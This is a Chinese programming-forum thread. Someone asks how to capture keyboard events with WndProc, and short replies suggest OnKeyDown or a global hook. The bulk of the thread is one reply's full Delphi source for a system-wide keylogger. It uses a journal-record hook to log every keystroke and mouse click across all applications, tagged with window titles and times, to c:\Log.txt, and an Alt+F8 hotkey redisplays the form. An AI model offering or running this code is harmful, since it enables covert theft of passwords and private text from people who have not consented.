如何在程序里捕获键盘事件?特别是用 WndProc ,对应的Msg 常量是多少代表键盘?

解决方案 »

  1.   

    可以直接在OnKeyDown、OnKeyUp中处理
      

  2.   

    OnKeyDown,或者你直接用全局键盘钩子,csdn资源里面有很多这类代码,搜一下就有了
      

  3.   

    或者直接使用鍵盤鈎子去HOOK:
    unit Unit1;interfaceuses
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs, StdCtrls;type
    TForm1 = class(TForm)
        procedure FormCreate(Sender: TObject);
        procedure FormDestroy(Sender: TObject);
    private
    { Private declarations }
        procedure HotKeyDown(var Msg: Tmessage); message WM_HOTKEY;
    public
    { Public declarations }
    end;const
    KeyMask = $80000000;
    var
    Form1: TForm1;
    LogHook: HHook = 0;
    LastFocusWnd: HWnd = 0;
    PrvChar: Char;
    HotKeyId: Integer;
    implementation{$R *.dfm}function LogProc(iCode: Integer; wparam, lparam: LongInt): lresult; stdcall;
    var
    ch: Char;
    vKey: Integer;
    FocusWnd: HWND;
    Title: array[0..255] of Char;
    str: array[0..12] of Char;
    TempStr, Time: string;
    LogFile: TextFile;
    PEvt: ^EVENTMSG;
    iCapital, iNumLock, iShift: Integer;
    bShift, bCapital, bNumLock: Boolean;
    begin
    if iCode < 0 then
    begin
        Result := CallNextHookEx(LogHook, iCode, wParam, lParam);
        exit;
    end;if (iCode = HC_ACTION) then
    begin
        pEvt := Pointer(DWord(lParam));
        if not FileExists('c:\Log.txt') then
        begin
          AssignFile(LogFile, 'c:\Log.txt');
          Rewrite(LogFile);
          CloseFile(LogFile);
        end;
        AssignFile(LogFile, 'c:\Log.txt');
        Append(LogFile);    FocusWnd := GetActiveWindow;
        if LastFocusWnd <> FocusWnd then
        begin
          writeln(LogFile);
          writeln(LogFile, '*********End**********');
          writeln(LogFile);
          writeln(LogFile, '********begin*********');
          GetWindowText(FocusWnd, Title, 256);
          LastFocusWnd := FocusWnd;
          Time := DateTimeToStr(Now);
          Writeln(LogFile, Time + Format(' 《%s》', [Title]));
        end;    if pEvt.message = WM_KEYDOWN then
        begin
          vKey := LOBYTE(pEvt.paramL);
          iShift := GetKeyState($10);
          iCapital := GetKeyState($14);
          iNumLock := GetKeyState($90);
          bShift := ((iShift and KeyMask) = KeyMask);
          bCapital := ((iCapital and 1) = 1);
          bNumLock := ((iNumLock and 1) = 1);      if ((vKey >= 48) and (vKey <= 57)) then
            if not bShift then
              Write(LogFile, Char(vKey));      if (vKey >= 65) and (vKey <= 90) then // A-Z a-z
          begin
            if not bCapital then
            begin
              if bShift then
                ch := Char(vKey)
              else
                ch := Char(vKey + 32);
              end
            else begin
              if bShift then
                ch := Char(vKey + 32)
              else
                ch := Char(vKey);
            end;
            Write(LogFile, ch);
          end;      if (vKey >= 96) and (vKey <= 105) then // 小键盘0-9
            if bNumLock then
              write(LogFile, Char(vKey - 96 + 48));      ch := 'n';
          if (VKey > 105) and (VKey <= 111) then
          begin
            case vKey of
            106: ch := '*';
            107: ch := '+';
            109: ch := '-';
            111: ch := '/';
            else
            ch := 'n';
            end;
          end;      if (vKey >= 186) and (vKey <= 222) then // 其他键
          begin
            case vKey of
            186: if not bShift then ch := ';' else ch := ':';
            187: if not bShift then ch := '=' else ch := '+';
            188: if not bShift then ch := ',' else ch := '<';
            189: if not bShift then ch := '-' else ch := '_';
            190: if not bShift then ch := '.' else ch := '>';
            191: if not bShift then ch := '/' else ch := '?';
            192: if not bShift then ch := '`' else ch := '~';
            219: if not bShift then ch := '[' else ch := '{';
            220: if not bShift then ch := '\' else ch := '|';
            221: if not bShift then ch := ']' else ch := '}';
            222: if not bShift then ch := Char(27) else ch := '"';
            else
            ch := 'n';
            end;
          end;      if ch <> 'n' then
          Write(LogFile, ch);
          // if (wParam >=112 && wParam<=123) // 功能键 [F1]-[F12]
          if (vKey >= 8) and (vKey <= 46) then //方向键
          begin
            ch := ' ';
            case vKey of
            8: str := '[BackSpace]';
            9: str := '[TAB]';
            13: str := '[Enter]';
            32: str := '[Space]';
            33: str := '[PageUp]';
            34: str := '[PageDown]';
            35: str := '[End]';
            36: str := '[Home]';
            37: str := '[LF]';
            38: str := '[UF]';
            39: str := '[RF]';
            40: str := '[DF]';
            45: str := '[Insert]';
            46: str := '[Delete]';
            else
            ch := 'n';
            end;        if ch <> 'n' then
            begin
              if PrvChar <> Char(vKey) then
              begin
                Write(LogFile, str);
                PrvChar := Char(vKey);
              end;
            end;
          end;
        end
        else
        if (pEvt.message = WM_LBUTTONDOWN) or (pEvt.message = WM_RBUTTONDOWN) then
        begin
          writeln(LogFile);
          if pEvt.message = WM_LBUTTONDOWN then
            TempStr := 'LButtonDown at: '
          else
            TempStr := 'RButtonDown at: ';
          writeln(LogFile, TempStr + Format('x:%d,y:%d', [pEvt.paramL, pEvt.paramH]));
        end;
    CloseFile(LogFile);
    end;Result := CallNextHookEx(LogHook, iCode, wParam, lParam);
    end;procedure TForm1.FormCreate(Sender: TObject);
    begin
    HotKeyId := GlobalAddAtom('MyHotKey') - $C000;
    RegisterHotKey(Handle, hotkeyid, MOD_ALT, VK_F8);
    //
    if LogHook = 0 then
        LogHook := SetWindowsHookEx(WH_JOURNALRECORD, LogProc, HInstance, 0);
    end;procedure TForm1.FormDestroy(Sender: TObject);
    begin
    if LogHook <> 0 then
    begin
        UnhookWindowsHookEx(LogHook);
        LogHook := 0;
    end;
    end;
    procedure TForm1.HotKeyDown(var Msg: Tmessage);
    begin
    if (Msg.LparamLo = MOD_ALT) AND (Msg.LParamHi = VK_F8) then
    begin
        showmessage('ALT' + 'F8');
        form1.Visible := true;
    end;
    end;end.